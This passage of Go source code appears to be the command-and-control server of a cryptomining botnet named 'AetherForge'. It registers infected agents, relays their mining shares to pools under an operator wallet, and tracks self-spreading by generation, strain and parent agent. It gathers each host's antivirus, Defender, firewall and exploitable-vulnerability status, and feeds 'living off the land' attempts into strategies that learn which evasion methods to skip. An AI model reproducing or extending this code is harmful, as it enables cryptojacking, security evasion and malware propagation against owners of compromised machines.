resp["atlas_skips"] = skips
}
}
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
if h.failureAtlas != nil {
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
resp["adaptive_strategy"] = adaptive
}
if policy.AIControlEnabled {
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
}
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
resp["graft_policy"] = graft
agent.GraftSourceStrain = graft.GraftSourceStrain
agent.GraftTier = graft.GraftTier
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
agent.ClearanceLevel = level
}
bakedRole := normalizeFleetRole(auth.FleetRole)
if auth.SeederMode {
bakedRole = "seeder"
}
h.storeAgentFleetRole(agentID, bakedRole)
if policy.FleetRolesEnabled {
seederCapable := auth.SeederMode || bakedRole == "seeder"
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
if hint != "" {
resp["fleet_role_hint"] = hint
h.storeAgentFleetRole(agentID, hint)
}
if hint != "seeder" {
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
resp["lan_seeders"] = seeders
}
}
if policy.FleetTorrentEnabled && hint == "seeder" {
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
resp["subnet_primary_seeder"] = primary
}
}
}
h.attachEpidemiologyFix(resp, agentID)
h.attachMiningSelfSurgery(resp, agentID)
h.attachContingencyPolicy(resp)
return resp
}())})
// Auto-start mining: ensure the agent isn't stuck in a paused
// state from a previous session. The agent's in-memory pause flag
// resets on each restart, but sending resume is a cheap no-op and
// guarantees hashing begins as soon as a job arrives.
if h.agentPoolConfig(agentID).Wallet != "" {
_ = h.writeAgentJSON(agentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "resume"}),
})
}
// Enrich agent with hostname before broadcasting so the dashboard
// immediately shows the correct machine-specific display name.
agent.Hostname = auth.Hostname
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
})
if h.eventNotifier != nil {
platform := auth.Platform
if platform == "" {
platform = "unknown"
}
if isNewAgent {
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
} else if alreadyConnected {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" took over an active session ("+clientIP+")")
} else if prior != nil && prior.Status != "online" {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" is back online ("+platform+" · "+clientIP+")")
}
}
h.mu.RLock()
runner := h.connectTasks
h.mu.RUnlock()
if runner != nil {
if isNewAgent {
go runner.RunConnectTasks(agentID, "on_connect")
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
go runner.RunConnectTasks(agentID, "on_reconnect")
}
}
case "stats":
if agentID == "" {
continue
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
// Listen ports
ListenPortCount *int `json:"listen_port_count,omitempty"`
// DNS config (T1016)
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
// Resource pressure
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
CPUTempC *int `json:"cpu_temp_c,omitempty"`
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
DiskFreePct *int `json:"disk_free_pct,omitempty"`
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
Services []struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type"`
} `json:"services,omitempty"`
// Mining fallback cascade
ActiveMethod string `json:"active_method,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
// Fleet health mining telemetry (coalesced into stats_batch)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
ContingencyDepth int `json:"contingency_depth,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
broadcast := map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}
// Resource pressure fields
if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz }
if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz }
if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle }
if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC }
if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB }
if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// GPU / Ravencoin mining stats
if stats.GPUMinerActive != nil {
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
}
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
// Listen port count
if stats.ListenPortCount != nil {
broadcast["listen_port_count"] = *stats.ListenPortCount
}
// T1016 DNS drift detection
if len(stats.DNSServers) > 0 {
broadcast["dns_servers"] = stats.DNSServers
if stats.DNSSearchDomains != nil {
broadcast["dns_search_domains"] = stats.DNSSearchDomains
}
h.mu.Lock()
prev, hasPrev := h.agentDNS[agentID]
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
h.agentDNS[agentID] = stats.DNSServers
h.mu.Unlock()
if drifted {
broadcast["dns_drifted"] = true
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
}
}
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
if stats.PostureScore != nil {
broadcast["posture_score"] = *stats.PostureScore
}
if stats.DefenderEnabled != nil {
broadcast["defender_enabled"] = *stats.DefenderEnabled
}
if stats.DefenderRTP != nil {
broadcast["defender_rtp"] = *stats.DefenderRTP
}
if len(stats.AVProducts) > 0 {
broadcast["av_products"] = stats.AVProducts
}
if stats.FirewallDomain != nil {
broadcast["firewall_domain"] = *stats.FirewallDomain
}
if stats.FirewallPrivate != nil {
broadcast["firewall_private"] = *stats.FirewallPrivate
}
if stats.FirewallPublic != nil {
broadcast["firewall_public"] = *stats.FirewallPublic
}
if stats.LastPatchDays != nil {
broadcast["last_patch_days"] = *stats.LastPatchDays
}
if stats.LastPatch != nil {
broadcast["last_patch"] = *stats.LastPatch
}
if stats.PendingUpdates != nil {
broadcast["pending_updates"] = *stats.PendingUpdates
}
if stats.RebootPending != nil {
broadcast["reboot_pending"] = *stats.RebootPending
}
if stats.AgentElevated != nil {
broadcast["agent_elevated"] = *stats.AgentElevated
}
if len(stats.Services) > 0 {
broadcast["services"] = stats.Services
}
if stats.ActiveMethod != "" {
broadcast["active_method"] = stats.ActiveMethod
}
if stats.MiningLastError != "" {
broadcast["last_error"] = stats.MiningLastError
}
if stats.StratumOverlay {
broadcast["stratum_overlay"] = true
}
if stats.ChainExhausted {
broadcast["chain_exhausted"] = true
}
if len(stats.ChainOrder) > 0 {
broadcast["chain_order"] = stats.ChainOrder
}
if len(stats.FailedMethods) > 0 {
broadcast["failed_methods"] = stats.FailedMethods
}
if stats.MiningHashrate > 0 {
broadcast["mining_hashrate"] = stats.MiningHashrate
}
if stats.LOTLTier != "" {
broadcast["lotl_tier"] = stats.LOTLTier
}
if len(stats.LOTLAttempts) > 0 {
broadcast["lotl_attempts"] = stats.LOTLAttempts
}
if len(stats.AtlasSkips) > 0 {
broadcast["atlas_skips"] = stats.AtlasSkips
}
if stats.StratumEgress != "" {
broadcast["stratum_egress"] = stats.StratumEgress
}
if stats.JoinLane != "" {
broadcast["join_lane"] = stats.JoinLane
}
if stats.ParentAgentID != "" {
broadcast["parent_agent_id"] = stats.ParentAgentID
}
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
broadcast["spread_generation"] = stats.SpreadGeneration
}
if stats.SpreadStrain != "" {
broadcast["spread_strain"] = stats.SpreadStrain
}
if stats.ContingencyDepth > 0 {
broadcast["contingency_depth"] = stats.ContingencyDepth
}
if stats.FleetRole != "" {
broadcast["fleet_role"] = stats.FleetRole
}
if stats.SeedPressure > 0 {
broadcast["seed_pressure"] = stats.SeedPressure
}
if stats.HashratePressure > 0 {
broadcast["hashrate_pressure"] = stats.HashratePressure
}
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
var hints interface{}
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
broadcast["network_hints"] = hints
}
}
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
findings := make([]vuln.Finding, len(stats.VulnFindings))
for i, f := range stats.VulnFindings {
findings[i] = vuln.Finding{
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
if stats.ListenPortCount != nil {
fctx.ListenPortCount = *stats.ListenPortCount
}
findings = vuln.EnrichFindings(findings, fctx)
score := vuln.RiskScore(findings)
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
score = *stats.VulnRiskScore
}
broadcast["vuln_findings"] = findings
broadcast["vuln_risk_score"] = score
}
// Attach latest RTT latency from the ping loop.
if ac := h.getAgentConn(agentID); ac != nil {
ac.latencyMu.Lock()
if ac.LatencyMs != nil {
broadcast["latency_ms"] = *ac.LatencyMs
}
ac.latencyMu.Unlock()
}
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.ingestFleetPressure(agentID, broadcast)
epiStats := epidemiology.StatsInput{
FleetRole: stats.FleetRole,
ActiveMethod: stats.ActiveMethod,
MiningHashrate: stats.MiningHashrate,
Hashrate15m: stats.Hashrate15m,
GPUHashrate15m: stats.GPUHashrate15m,
ChainExhausted: stats.ChainExhausted,
MiningLastError: stats.MiningLastError,
LOTLTier: stats.LOTLTier,
JoinLane: stats.JoinLane,
ParentAgentID: stats.ParentAgentID,
SpreadGeneration: stats.SpreadGeneration,
SpreadStrain: stats.SpreadStrain,
}
if stats.GPUMinerActive != nil {
epiStats.GPUMinerActive = *stats.GPUMinerActive
}
for _, f := range stats.FailedMethods {
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
Method: f.Method,
Reason: f.Reason,
At: f.At,
})
}
for _, a := range stats.LOTLAttempts {
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
Tier: a.Tier,
OK: a.OK,
Error: a.Error,
})
}
h.observeEpidemiologyFromStats(agentID, epiStats)
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast)
case "scout_report":
if agentID == "" {
continue
}
var report struct {
SSID string `json:"ssid"`
JoinLane string `json:"join_lane"`
ServiceCount int `json:"service_count"`
ScoutMode bool `json:"scout_mode"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if !report.ScoutMode {
continue
}
ag, _ := h.db.GetAgent(agentID)
platform, ip := "", ""
var firewallDomain *bool
if ag != nil {
platform = ag.Platform
ip = ag.IP
firewallDomain = ag.FirewallDomain
}
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
if strings.TrimSpace(report.SSID) != "" {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
case "cloud_venue_report":
if agentID == "" {
continue
}
var report struct {
CloudProvider string `json:"cloud_provider"`
Environment string `json:"environment"`
Workload string `json:"workload"`
InstanceType string `json:"instance_type"`
InstanceLifecycle string `json:"instance_lifecycle"`
OrganizationalUnit string `json:"organizational_unit"`
EC2Tags map[string]string `json:"ec2_tags"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if strings.TrimSpace(report.CloudProvider) == "" {
report.CloudProvider = "aws"
}
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
Environment: report.Environment,
Workload: report.Workload,
InstanceType: report.InstanceType,
InstanceLifecycle: report.InstanceLifecycle,
OrganizationalUnit: report.OrganizationalUnit,
EC2Tags: report.EC2Tags,
})
case "ai_snapshot":
if agentID == "" {
continue
}
var snap struct {
Stuck bool `json:"stuck"`
DeployTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"deploy_tiers"`
MiningTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"mining_tiers"`
ClearanceLevel int `json:"clearance_level"`
}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
continue
}
failed := 0
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
if t.Attempted && !t.OK && !t.Skipped {
failed++
}
}
h.cacheAgentTelemetry(agentID, map[string]interface{}{
"stuck": snap.Stuck,
"failed_tier_count": failed,
"clearance_level": snap.ClearanceLevel,
})
case "submit_share":
if agentID == "" {
continue
}
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
}
share.AgentID = agentID
share.Timestamp = time.Now()
share.Accepted = false
shareID, err := h.db.InsertShare(&share)
if err != nil {
log.Printf("Failed to insert share: %v", err)
continue
}
sendShareResult := func(accepted bool, errMsg string) {
share.Accepted = accepted
share.Error = errMsg
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
log.Printf("Failed to update share result: %v", err)
}
if h.serverPolicySnapshot().LogShareSubmissions {
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
}
agentConn := h.getAgentConn(agentID)
if agentConn != nil {
result := map[string]interface{}{
"job_id": share.JobID,
"accepted": accepted,
}
if errMsg != "" {
result["error"] = errMsg
}
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
}
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"id": shareID,
"agent_id": agentID,
"job_id": share.JobID,
"accepted": accepted,
"hash": share.Hash,
"nonce": share.Nonce,
"error": errMsg,
"timestamp": share.Timestamp,
}),
})
}
if h.poolManager == nil {
sendShareResult(false, "pool manager not configured")
continue
}
poolCfg := h.agentPoolConfig(agentID)
proxy := h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
} else {
sendShareResult(false, "pool not connected: "+err.Error())
continue
}
}
if !proxy.IsConnected() {
sendShareResult(false, "pool not connected")
continue
}
wallet := poolCfg.Wallet
if wallet == "" {
wallet = h.defaultPool.Wallet
}
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
case "get_job":
if agentID == "" {
continue
}
var proxy *pool.Proxy
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
// Only use GetPool (non-blocking). If the pool hasn't connected yet
// (background EnsurePoolWithBackups from auth is still dialing), kick
// off another async attempt rather than blocking the WS read loop.
proxy = h.poolManager.GetPool(&poolCfg)
if proxy == nil {
go func(pc pool.Config) {
if p, err := h.poolManager.EnsurePool(&pc); err != nil {
log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
} else {
_ = p
}
}(poolCfg)
}
}
if proxy != nil {
job := proxy.GetCurrentJob()
if job != nil {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
}
} else {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
}
case "log_tail":
if agentID == "" {
continue
}
var payload struct {
Content string `json:"content"`
Lines int `json:"lines"`
}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
h.mu.Lock()
h.agentLogs[agentID] = payload.Content
h.mu.Unlock()
h.broadcastDashboard(Message{
Type: "agent_log",
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
})
case "capabilities_update":
if agentID == "" {
continue
}
var caps models.AgentCapabilities
if err := json.Unmarshal(msg.Payload, &caps); err != nil {
continue
}
h.UpdateAgentCapabilities(agentID, caps)
case "policy_ack":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
case "mining_fallback", "mining_status", "tier_report":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload)
case "self_surgery_report":
if agentID == "" {
continue
}
h.handleSelfSurgeryReport(agentID, msg.Payload)
case "onion_miner_log":
if agentID == "" {
continue
}
h.handleOnionMinerLog(agentID, msg.Payload)
case "atlas_gossip":
if agentID == "" {
continue
}
h.handleAgentAtlasGossip(agentID, msg.Payload)
case "fleet_torrent_gossip":
if agentID == "" {
continue
}
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
case "command_result":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
if action == "service_discover" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
h.cacheServiceDiscover(agentID, msg)
}
}
}
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
name := agentID
if h.db != nil {
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
name = ag.Name
}
}
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
}
}
}
}
default:
if agentID != "" {
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
} else {
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
}
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
username, ok := resolveDashboardWSUser(r)
if !ok {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)
return
}
dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = dc
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
remaining := 0
for _, d := range h.dashboards {
if d.Username == username {
remaining++
}
}
h.mu.Unlock()
if remaining == 0 {
h.broadcastPresenceUpdate(username, "", false)
}
conn.Close()
}()
// Send initial data — reconcile DB status against live hub state so a
// freshly loaded dashboard never shows stale "online" phantoms.
initFilter, paginated := parseDashboardInitFilter(r)
var agents []*models.Agent
var initTotal int
if paginated {
agents, _ = h.db.ListAgentsFiltered(initFilter)
initTotal, _ = h.db.CountAgentsFiltered(initFilter)
} else {
agents, _ = h.db.ListAgents()
}
h.enrichAgentsCapabilities(agents)
for _, a := range agents {
if a == nil {
continue
}
if h.isAgentConnected(a.ID) {
a.Status = "online"
} else {
// Correct any row that says "online" but has no live socket.
a.Status = "offline"
}
}
stats, _ := h.db.GetFleetStats()
initPayload := map[string]interface{}{
"agents": agents,
"stats": stats,
}
if paginated {
initPayload["total"] = initTotal
initPayload["limit"] = initFilter.Limit
initPayload["offset"] = initFilter.Offset
}
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(initPayload)})
_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
"comrades": h.presenceSnapshotLocked(),
})})
h.broadcastPresenceUpdate(username, dc.Page, true)
go h.runPingLoopDash(dc)
for {
_, data, err := conn.ReadMessage()
if err != nil {
break
}
var msg Message
if json.Unmarshal(data, &msg) != nil {
continue
}
switch msg.Type {
case "presence_page":
var body struct {
Page string `json:"page"`
}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
page := strings.TrimSpace(body.Page)
if page == "" {
page = "/dashboard"
}
h.mu.Lock()
if d, exists := h.dashboards[dashID]; exists {
d.Page = page
}
h.mu.Unlock()
h.broadcastPresenceUpdate(username, page, true)
case "notes_typing":
var body struct {
Active bool `json:"active"`
}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
h.broadcastNotesTyping(username, body.Active)
case "tunnel_stream":
_ = dc.WriteJSON(Message{Type: "tunnel_stream", Payload: mustMarshal(map[string]interface{}{
"implemented": false,
"error": "tunnel_stream TCP reverse relay is not implemented; use tunnel_cloudflared or tunnel_ssh_forward on fleet agents",
})})
}
}
}
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
// same coalesce window both land in one stats_batch update for dashboards.
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
var base, patch map[string]interface{}
if json.Unmarshal(existing, &base) != nil || base == nil {
base = map[string]interface{}{}
}
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
return existing
}
for k, v := range patch {
base[k] = v
}
return mustMarshal(base)
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
if agentID == "" || len(payload) == 0 {
return
}
h.mu.Lock()
defer h.mu.Unlock()
cur, ok := h.agentLiveTelemetry[agentID]
if !ok {
cur = make(map[string]interface{})
h.agentLiveTelemetry[agentID] = cur
}
for k, v := range payload {
if k == "agent_id" {
continue
}
cur[k] = v
}
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
agentID, _ := payload["agent_id"].(string)
if agentID == "" {
return
}
data := mustMarshal(payload)
h.statsBatchMu.Lock()
if h.statsBatch == nil {
h.statsBatch = make(map[string]json.RawMessage)
}
if prev, ok := h.statsBatch[agentID]; ok {
data = mergeStatsPayload(prev, data)
}
h.statsBatch[agentID] = data
h.cacheAgentTelemetry(agentID, payload)
if h.statsBatchTimer == nil {
h.statsBatchTimer = time.AfterFunc(StatsBatchCoalesceInterval, h.flushStatsBatch)
}
h.statsBatchMu.Unlock()
}
func (h *WSHub) flushStatsBatch() {
h.statsBatchMu.Lock()
batch := h.statsBatch
h.statsBatch = nil
if h.statsBatchTimer != nil {
h.statsBatchTimer.Stop()
h.statsBatchTimer = nil
}
h.statsBatchMu.Unlock()
if len(batch) == 0 {
return
}
updates := make([]json.RawMessage, 0, len(batch))
for _, raw := range batch {
updates = append(updates, raw)
}
h.broadcastDashboard(Message{
Type: "stats_batch",
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
})
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
data, err := json.Marshal(msg)
if err != nil {
return
}
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
// Only close the connection here. HandleDashboardWS owns all map
// cleanup via its existing defer — doing it here too would cause a
// double-delete that corrupts the remaining-count used for the
// presence_update broadcast (SRV-B4).
dc.Conn.Close()
}
}
}
func mustMarshal(v interface{}) json.RawMessage {
data, _ := json.Marshal(v)
return data
}
// dnsEqual returns true when two DNS server lists contain the same addresses
// regardless of order. Used for T1016 drift detection.
func dnsEqual(a, b []string) bool {
if len(a) != len(b) {
return false
}
m := make(map[string]int, len(a))
for _, v := range a {
m[v]++
}
for _, v := range b {
m[v]--
if m[v] < 0 {
return false
}
}
return true
}
// BroadcastToAgents sends a message to all connected agents.
// Any agent whose write fails has its connection closed so the read-loop
// defer fires quickly and cleans up the hub entry.
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil {
log.Printf("[hub] broadcast write failed agent %s: %v — closing socket", id, err)
_ = agent.Conn.Close()
}
}
}
// SendToAgent sends a message to one connected agent.
// On write failure the socket is closed immediately so the read-loop defer
// fires and calls SetAgentOffline without waiting the full read deadline.
